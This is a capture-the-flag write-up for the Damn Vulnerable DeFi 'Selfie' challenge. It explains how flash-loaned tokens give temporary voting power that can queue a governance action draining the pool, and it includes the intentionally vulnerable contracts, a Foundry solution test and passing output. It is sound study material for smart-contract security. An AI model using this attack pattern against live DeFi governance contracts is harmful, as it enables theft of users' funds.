Damn selfie
🚩
Flash Loan Governance Exploit
Goal: The attacker’s goal is to drain all tokens from the SelfiePool by exploiting the governance system that trusts flash-loaned tokens for voting power. The attacker temporarily holds a huge amount of tokens, queues a malicious governance action, and then executes it after the governance delay.
How the Vulnerability Works
-
Snapshot-Based Governance
- Governance voting uses token snapshots to determine voting power.
- A snapshot records how many tokens an address holds at that moment.
-
Flash Loans
- Flash loans let you borrow a large number of tokens temporarily.
- The borrower must return the tokens in the same transaction.
-
The Problem
- The governance system trusts the snapshot even if the tokens are flash-loaned.
- This allows attackers to queue proposals using tokens they don’t permanently own.
Step-by-Step Attack Flow
Step 1: Deploy a Malicious Attacker Contract
- The attacker deploys a smart contract that can request a flash loan and interact with governance.
Step 2: Take a Flash Loan
-
The attacker requests a flash loan from the SelfiePool for all tokens in the pool:
pool.flashLoan(attackerContract, token, 1_500_000, data); -
At this point, the attacker temporarily controls almost all tokens.
Step 3: Take a Snapshot for Voting Power
-
While holding the flash-loaned tokens, the attacker calls the snapshot function:
token.snapshot(); -
The snapshot records the attacker as owning the majority of tokens, giving them enough voting power to queue a governance action.
Step 4: Queue a Malicious Governance Action
-
Using the voting power from the snapshot, the attacker queues an action to drain all tokens from the pool:
governance.queueAction(
address(pool),
0,
abi.encodeWithSignature("emergencyExit(address)", attacker)
); -
The action is now queued but cannot be executed until the governance delay passes.
Step 5: Return the Flash Loan
-
The attacker repays all tokens to the pool in the same transaction:
token.transferFrom(attacker, pool, 1_500_000); -
No tokens are lost, and the pool is unaware that it has been “attacked.”
Step 6: Wait for the Governance Delay
- The governance contract has a 2-day delay before queued actions can be executed.
- The attacker simply waits for this period to pass.
Step 7: Execute the Malicious Proposal
-
After 2 days, the attacker executes the queued action:
governance.executeAction(actionId); -
The pool’s
emergencyExit()function is called, sending all tokens to the attacker’s address.
Selfie Pool
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {SimpleGovernance} from "./SimpleGovernance.sol";
contract SelfiePool is IERC3156FlashLender, ReentrancyGuard {
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
IERC20 public immutable token;
SimpleGovernance public immutable governance;
error RepayFailed();
error CallerNotGovernance();
error UnsupportedCurrency();
error CallbackFailed();
event EmergencyExit(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
if (msg.sender != address(governance)) {
revert CallerNotGovernance();
}
_;
}
constructor(IERC20 _token, SimpleGovernance _governance) {
token = _token;
governance = _governance;
}
function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token) {
return token.balanceOf(address(this));
}
return 0;
}
function flashFee(address _token, uint256) external view returns (uint256) {
if (address(token) != _token) {
revert UnsupportedCurrency();
}
return 0;
}
function flashLoan(IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data)
external
nonReentrant
returns (bool)
{
if (_token != address(token)) {
revert UnsupportedCurrency();
}
token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (!token.transferFrom(address(_receiver), address(this), _amount)) {
revert RepayFailed();
}
return true;
}
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit EmergencyExit(receiver, amount);
}
}
Governance contract
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {DamnValuableVotes} from "../DamnValuableVotes.sol";
import {ISimpleGovernance} from "./ISimpleGovernance.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
contract SimpleGovernance is ISimpleGovernance {
using Address for address;
uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
DamnValuableVotes private _votingToken;
uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;
constructor(DamnValuableVotes votingToken) {
_votingToken = votingToken;
_actionCounter = 1;
}
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender)) {
revert NotEnoughVotes(msg.sender);
}
if (target == address(this)) {
revert InvalidTarget();
}
if (data.length > 0 && target.code.length == 0) {
revert TargetMustHaveCode();
}
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked {
_actionCounter++;
}
emit ActionQueued(actionId, msg.sender);
}
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if (!_canBeExecuted(actionId)) {
revert CannotExecute(actionId);
}
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}
function getActionDelay() external pure returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
function getVotingToken() external view returns (address) {
return address(_votingToken);
}
function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
return _actions[actionId];
}
function getActionCounter() external view returns (uint256) {
return _actionCounter;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _votingToken.getVotes(who);
uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
return balance > halfTotalSupply;
}
}
POC
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol";
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../src/selfie/SelfiePool.sol";
import {SelfieAttacker} from "../../src/selfie/SelfieAttacker.sol";
contract SelfieChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18;
uint256 constant TOKENS_IN_POOL = 1_500_000e18;
DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token
token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY);
// Deploy governance contract
governance = new SimpleGovernance(token);
// Deploy pool
pool = new SelfiePool(token, governance);
// Fund the pool
token.transfer(address(pool), TOKENS_IN_POOL);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(address(pool.token()), address(token));
assertEq(address(pool.governance()), address(governance));
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL);
assertEq(pool.flashFee(address(token), 0), 0);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_selfie() public checkSolvedByPlayer {
console.log(">> Starting Selfie attack test...");
// Deploy attacker contract
SelfieAttacker attacker = new SelfieAttacker(
address(pool),
address(token),
address(governance),
recovery
);
console.log(">> Attacker contract deployed");
// Initiate attack via flash loan
attacker.initiateAttack(TOKENS_IN_POOL);
console.log(">> Flash loan initiated and action queued");
// Fast-forward 2 days to bypass governance delay
vm.warp(block.timestamp + 2 days);
console.log(">> Time warped 2 days");
// Execute the malicious action
governance.executeAction(attacker.actionId());
console.log(">> Malicious action executed");
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player has taken all tokens from the pool
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
}
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_selfie -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠘] Compiling 1 files with Solc 0.8.25
[⠃] Solc 0.8.25 finished in 1.65s
Compiler run successful!
Ran 1 test for test/selfie/Selfie.t.sol:SelfieChallenge
[PASS] test_selfie() (gas: 752646)
Logs:
>> Starting Selfie attack test...
>> Attacker contract deployed
>> Flash loan initiated and action queued
>> Time warped 2 days
>> Malicious action executed
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.02ms (549.83µs CPU time)
Ran 1 test suite in 16.84ms (2.02ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#
Key Points
- Flash loans + snapshots allow temporary voting power.
- The attacker never permanently owns the tokens but can control governance decisions.
- The vulnerability lies in trusting flash-loaned tokens for governance.
- The attack shows why governance systems should account for temporary token holdings.